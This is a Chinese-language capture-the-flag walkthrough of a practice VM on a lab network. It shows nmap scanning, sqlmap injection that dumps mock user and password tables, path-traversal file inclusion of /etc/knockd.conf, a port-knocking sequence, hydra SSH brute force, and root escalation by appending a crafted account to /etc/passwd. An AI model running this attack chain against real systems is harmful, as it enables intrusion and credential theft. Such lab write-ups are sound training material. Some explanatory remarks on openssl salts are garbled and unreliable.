主机发现
nmap -sP 192.168.111.1/24
arpscan -l
netdiscover -p
发现除了本机ip,速度快
发现目标机的ip:192.168.111.140
端口扫描
nmap -sS -v -A -P 1-65535 192.168.111.140
开放了22,80端口
扫描目录
python dirsearch.py -u 192.168.111.140
登录网页
http://192.168.111.140/display.php
看到员工列表
http://192.168.111.140/manage.php
使用万能密码注入(失败)
‘ or 1=1--+
查看users库
search之后,就会这个url
http://192.168.111.140/results.php
尝试sqlmap注入(成功)
sqlmap -u "http://192.168.111.140/results.php" --data="search=1"
查看当前库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --current-db
查看所有库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --dbs
查看表
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users --tables
脱 UserDetails表中所有数据
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users -T UserDetails --dump
要么做成字典爆破,要么一个一个输入
结论,没有正确的密码登录
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
查看staff库(密码正确)
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff --tables
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff -T Users --dump
用自带的字典解密hash
+--------+--------------------------------------------------+----------+
| UserID | Password | Username |
+--------+--------------------------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin |
+--------+--------------------------------------------------+----------+
看到file does not exeist
,考虑文件包含,不明白为什么考虑文件包含,但是看到了包含出的内容,想清了为什么
爆破ssh
连接拒绝
hydra -L users -P passwd 192.168.111.140 ssh
有三种情况
1.端口拒绝访问(防火墙)
2.用户被限制登录
3.运行了knockd服务(靶机特有的环境吧,实战不知道有没有)
只能用第三种试一下,文件在/etc/knockd.conf
http://192.168.111.140/manage.php?file=../../../../../../../etc/knockd.conf
options是日志文件,当按顺序访问sequence 序列的7000、8000、9000端口时,就会执行/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCPET 命令
就是在防火墙的INPUT的chain链中接受22端口的TCP连接
seq_timeout=60表示每个端口访问的时间间隔不超过60秒
tcpflags=syn 表示一次只建立一次tcp连接。
端口敲门服务利用
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
nmap -p 7469 192.168.111.140
nmap -p 8475 192.168.111.140
nmap -p 9842 192.168.111.140
nmap -p 22 192.168.111.140
我单步敲门,打不开22端口,超时
有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下
for x in 7469 8475 9842;do nmap -p $x 192.168.111.140;done
再次爆破22端口
hydra -L users -P passwd 192.168.111.140 ssh
进入ssh需要的操作是
查看用户文件——ls -a
查看root权限——sudo -l
查看历史命令——history
只有janitor用户里面有内容
加入字典继续爆破(好家伙玩套娃嘞)
发现了一个新用户
发现可以无密码root身份运行test脚本
提权
查看文件属性
file /opt/devstuff/dist/test/test
在文件中查找test.py
find / -name "test.py" 2>/dev/null
find / -name "test.py"
单独使用,会有很多没有权限的文件
查看文件内容
序列号从0开始,0是程序本身
该脚本是把第二个文件内容写到第三个文件中去,可以写拥有root权限的账号到passwd文件里,再登陆;前提要生成加密的密码
openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/root:/bin/bash' > /tmp/a.txt
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:
[tom@localhost ~]$ openssl passwd -1 -salt ‘12345678’ ##注意‘12345678’不是密码而是密码的长度
Password: ##这里输入的是密码
$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码
##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。